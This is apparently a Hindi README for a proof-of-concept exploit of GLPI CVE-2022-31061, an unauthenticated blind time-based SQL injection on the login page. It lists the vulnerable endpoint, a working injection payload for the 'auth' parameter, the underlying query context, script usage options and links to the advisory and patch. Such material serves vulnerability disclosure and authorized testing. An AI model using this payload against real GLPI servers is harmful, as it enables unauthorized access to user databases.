CVE-2022-31061

GLPI CVE-2022-31061 के लिए PoC

GLPI >= 9.3.0 और < 10.0.2 के लिए एक Proof of Concept - लॉगिन पृष्ठ पर बिना प्रमाणीकरण के SQL injection

कानूनी अस्वीकरण :

इस स्क्रिप्ट का उपयोग बिना आपसी सहमति के किसी लक्ष्य पर हमला करने के लिए करना अवैध है। अपने स्थान के लिए सभी लागू कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

संदर्भ :

सार्वजनिक खुलासा : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq 2022-06-28 को

पैच : https://github.com/glpi-project/glpi/releases/tag/10.0.2 2022-06-28 को

कमिट : https://github.com/glpi-project/glpi/commit/21ae07d00d0b3230f6235386e98388cfc5bb0514

भेद्यता :

पृष्ठ : POST /front/login.php
पैरामीटर : &auth=ldap-1%27+UNION+SELECT+SLEEP%285%29+%23+
इंजेक्शन : ब्लाइंड टाइम-आधारित इंजेक्शन

##उपयोग

Usage: CVE-2022-31061.py -t https://example.com [-v] [-c cmd]

Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        GLPI Website to audit
  -v, --verbose         Display verbose output
  -c CMD, --cmd=CMD     payload to inject. Time based Bind Injection. Context
                        : ' SELECT `id` FROM `glpi_users` WHERE `name` =
                        'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1'
                        [payload] # '
  -u USERAGENT, --user-agent=USERAGENT
                        user-agent to use
  -p PROXY, --proxy=PROXY
                        proxy to use

CVE-2022-31061

सबसे लोकप्रिय

उदाहरण :